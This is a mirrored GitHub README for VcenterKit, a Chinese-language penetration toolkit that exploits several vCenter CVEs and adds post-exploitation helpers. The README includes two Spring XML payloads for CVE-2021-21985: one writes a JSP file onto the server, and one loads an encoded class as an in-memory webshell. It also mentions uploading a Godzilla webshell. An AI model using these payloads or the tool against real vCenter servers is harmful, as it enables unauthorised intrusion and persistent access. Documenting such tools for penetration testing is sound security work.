Giter Site home page Giter Site logo

w01fh4cker / vcenterkit Goto Github PK

View Code? Open in Web Editor NEW
897.0 17.0 128.0 103 KB

Vcenter综合渗透利用工具包 | Vcenter Comprehensive Penetration and Exploitation Toolkit

Python 100.00%
cve-2021-21972 cve-2021-21985 cve-2021-22005 cve-2022-22954 cve-2022-22972 notebook pentest post-exploitation-toolkit redteam toolkit

vcenterkit's Introduction

VcenterKit

1. 使用说明(V 0.0.3)

1.1 安装与启动

1.1.1 Windows环境

推荐使用Python3.9

pip install -r requirements.txt
python VcenterKit.py

pyinstaller打包命令如下(根据自身环境自行修改):

C:\Users\Administrator\AppData\Local\Programs\Python\Python39\Scripts\pyinstaller.exe --paths C:\Users\Administrator\AppData\Local\Programs\Python\Python39\Lib\site-packages\PyQt5\Qt5\bin -F -i logo.ico -w VcenterKit.py

image

1.1.2 Mac环境

非常感谢outmansec师傅提出的针对Mac的修改版脚本的pull request

pip install -r requirements_PyQt6.txt
python VcenterKit_PyQt6.py

启动截图如下:
image

1.2 信息收集模块

直接输入url即可进行信息搜集,如果存在本地文件读取的话,程序会自动读取数据库文件;有些网站是没有sdk接口的,也就无法通过这种方式来查询信息,后续会研究其他的方法:

1.3 CVE-2021-21972模块

主要利用思维导图如下:

可以看到,并非所有情况下都能100%成功上传文件的,因此这里我把这些利用链(除了写authorized_keys)全部写在代码里面了,依次尝试。

这里放上之前测试利用搭建的环境的截图:

上传哥斯拉马:

11edd12a79387cb0d58d2a24b86ca10

1.4 CVE-2021-21985模块

image

需要注意的是,这里的RMICommand只能二选一填写,目前rmi由于测试环境的问题,还没有进行测试,可能会有问题,但是command目前测试下来没什么问题,这里放上一张之前写的时候测试的截图:

需要注意的是,当前版本(v0.0.3)的shell上传和内存马打入模块还没实现。但是核心**就是替换xml

以下参考:https://daidaitiehanhan.github.io/2022/04/18/vCenter2021几个漏洞及后渗透/#不出网利用

上传shellxml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.io.PrintWriter">
        <constructor-arg>
            <value>/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log2.jsp</value>
        </constructor-arg>
    </bean>
    <bean id="is" class="java.lang.String">
        <constructor-arg>
            <value><![CDATA[<% out.println("ok"); %> ]]></value>
        </constructor-arg>
        <property name="whatever" value="#{ pb.println(is).close()}"/>
    </bean>
</beans>

打内存马要用到的xml

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
     http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
    </bean>
        <bean id="is" class="java.lang.String">
        <constructor-arg>
            <value><![CDATA[$$BCEL$$...]]></value>
        </constructor-arg>
        <property name="whatever" value="#{ pb.loadClass(is).newInstance()}"/>
    </bean>
</beans>

等后面有时间了写上,当然,你可以来写,然后提pr,我看到会第一时间回复。

1.5 CVE-2021-22005模块

这里的shell name可写可不写,不写的话就是自动生成6位的名字。

测试截图:

1.6 CVE-2022-22954

测试截图如下:

1.7 CVE-2022-22972

1.8 后渗透利用模块

本来是想把这些脚本集成到工具里面的,但是转念一想,没必要,直接弄成点按钮生成脚本到本地这种形式就可以了,这样直接一个工具走天下。

1.9 渗透测试记事本

这里我放上去了一些打vcenter的时候常用的命令、常看的文章。

2. Q&A

2.1 代理问题?

因为vcenter大多数位于内网,因此都是proxifer挂代理打,也就不怎么需要程序本身加个代理功能,我也懒得写了。

2.2 长期维护吗?

长期维护!本工具会和未来出的一系列工具,例如后面会开始写的ExchangeKit一样,都是我长期维护的项目,和之前的Serein( https://github.com/W01fh4cker/Serein )不一样(那个时候代码水平不行,加上tkinter做图形化太难受了,就不想维护了)。

2.3 代码写的有逻辑问题/有bug/有新利用方式,如何沟通?

类似的问题,直接提交issues( https://github.com/W01fh4cker/VcenterKit/issues ),描述清楚相关环境,和具体细节,我看到之后会在当天内回复,一般20分钟内就会回复(因为我的电子邮件可以实时收到消息)。

如果有代码能力的话,欢迎提交pull request

2.4 想参与进来,共同维护?

没问题,提交pull request,贡献代码。

2.5 和其他工具相比的优缺点?

Akatsuki师傅( https://github.com/Schira4396 )写的VcenterKiller是我非常喜欢的一个利用工具,我的VcenterKit与其定位并不相同,我这个是用于本地挂代理测试内网或者外网的vcenter漏洞,并且由于方便而弄了个pyqt5做图形化,这直接导致打包后的exe体积非常非常大;而VcenterKiller则是用go语言写的一款小巧的利用工具,可以直接传至对方服务器运行,也可以本地运行,可以跨平台,非常的方便。

对于CVE-2021-21972这个漏洞而言,本工具可以自定义shell的名字,并且自动尝试数种利用链,用起来还是很舒服的,哈哈。

工具只是辅助,写工具的过程是了解漏洞的很好的方式,从中获得经验,足矣。

3. TODO

  • 研究CVE-2021-21985的上传shell和打内存马的方式
  • 你们提建议

4. 微信公众号:追梦信安

5. Star History

Star History Chart

vcenterkit's People

Contributors

outmansec avatar w01fh4cker avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

vcenterkit's Issues

mac install failed

已经安装qt,但是报错

qt.qpa.plugin: Could not find the Qt platform plugin "cocoa" in ""
This application failed to start because no Qt platform plugin could be initialized. Reinstalling the application may fix this problem.

Job

I would like to offer you a job.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.